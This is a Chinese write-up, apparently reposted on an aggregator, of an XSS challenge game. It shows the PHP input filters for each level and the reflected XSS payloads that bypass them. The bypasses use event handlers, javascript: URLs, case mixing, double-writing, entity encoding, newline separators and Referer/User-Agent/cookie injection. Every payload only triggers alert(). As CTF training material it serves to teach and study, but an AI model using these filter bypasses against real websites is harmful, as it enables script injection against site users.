xss-game

Posted l0nmar

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xss-game相关的知识,希望对你有一定的参考价值。

level1

  • 借助window.alert()函数完成任务
    技术图片
    http://test.ctf8.com/level1.php?name=<script>alert(‘123‘)</script>

level2

  • 输入框输入test后 Ctrl+g搜索源码中的test,发现有两处
    技术图片
  • 分别构造以下两个payload
1. </h2><center><script>window.alert()</script><h2 align=center>
2. "> <script>window.alert()</script>
  • 第二个奏效

level3

  • 同样的方式
    技术图片
  • 构造payload为
‘> <script>window.alert()</script>
  • 发现
    技术图片
  • 源代码用技术图片
  • 处理了字符串
  • 看一下htmlspecialchars()函数
  • quotestyle 选项为ENT_QUOTES才会过滤单引号
    技术图片
  • 得知不会过滤单引号和双引号

https://www.cnblogs.com/xishaonian/p/7196604.html

倘若是在script、input标签当中,即可突破。
Payload:
‘ oninput=alert(1) // 当要在input中输入内容时触发事件
‘ onchange=alert(1)// 发生改变的时候触发该事件

  • 构造payload为keyword=‘ onclick=window.alert()
  • 点击就会劫持

level4

  • 同上 "改为‘

level5

  • 源码中过滤了script和on
  • 也过滤了大小写
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
  • js伪协议绕过

https://www.cnblogs.com/lcyuhe/p/6409379.html
javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行

  • payload
"><a href="javascript:alert(‘xss‘)">点击过关</a>

level6 大小写绕过

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
  • payload:
keyword="><ScRIpt>window.alert()</SCript> 

level7双写绕过

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
  • payloadkeyword="><sscriptcript>window.alert()</sscriptcript>

level8 实体编码绕过

技术图片
技术图片

  • 上面的用htmlspecialchars(),引号也转为实体编码
  • 下面的有替换
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace(‘"‘,‘&quot‘,$str6);

payload: java&#x73;cript:alert(1)
s转换为实体编码绕过

level9

  • 与之前相比,多了个对http://的检查
if(false===strpos($str7,‘http://‘))
{
  echo ‘<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>‘;
        }
  • payload: java&#x73;cript:alert(1)/*http://*/

level 10

技术图片

  • t_sort隐藏
t_sort=" onclick="alert()" type="text"

level11

  • hackbar传reffer
    技术图片
  • reffer内容" onclick="alert()" type="text"

level 12

  • 同上,抓包改user-agent

level 13

  • 改cookie

技术图片

level 14

level 15

level 16

/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
keyword=<img%0asrc=1%0aonerror=alert(1)>
keyword=<img%0asrc=x%0donError=alert(‘xss‘)>
<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
<svg%0aonload=alert`1`></svg>

level 17 18

?arg01=a&arg02=b%20onmouseout=alert(1)

以上是关于xss-game的主要内容,如果未能解决你的问题,请参考以下文章

微信小程序代码片段

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器